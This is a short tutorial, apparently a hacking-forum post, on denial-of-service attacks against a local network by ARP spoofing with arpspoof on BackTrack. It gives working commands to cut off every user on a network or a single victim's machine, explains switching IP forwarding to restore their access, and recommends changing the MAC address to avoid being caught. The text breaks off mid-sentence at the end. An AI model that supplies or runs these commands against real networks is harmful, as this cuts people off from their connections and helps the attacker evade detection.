[Tutorial] DoS Attack On A Network.

Denail Of Service (DoS) attack is an effective way to block traffic from your target pc or whole network.
You can use DoS attack to stop your victim from browsing the internet. Or maybe you can DoS his/them to gain all the bandwidth in your network without disconnecting other users.

DoS Attack in a LAN is very simple in Linux (BackTrack).

Just fire up your terminal and type:

arpspoof -i <your_interface_name> <your_gateway;router_ip>

eg: arpspoof -i wlan0 192.168.1.1

This command will DoS the whole network without disconnecting the users, but you will still be able to browse without any side-effects.

If you want to give them access again, just ip forward from your machine:

echo 1 > /proc/sys/net/ipv4/ip_forward

And, if you want to just attack one victim, the commands would be:

arpspoof -i <interface_name> -t <target_pc> <gateway>
arpspoof -i <interface_name> -t <gateway> <target_pc>
 
eg:
arpspoof -i wlan0 -t 192.168.11.8 192.168.11.1
arpspoof -i wlan0 -t 192.168.11.1 192.168.11.8

Enter the command in two separate tabs.
And again,

echo 1 > /proc/sys/net/ipv4/ip_forward

to disable DoS.

So, enjoy people. But dont forget to change your mac address and let them access internet from time to time, else they may maintain the
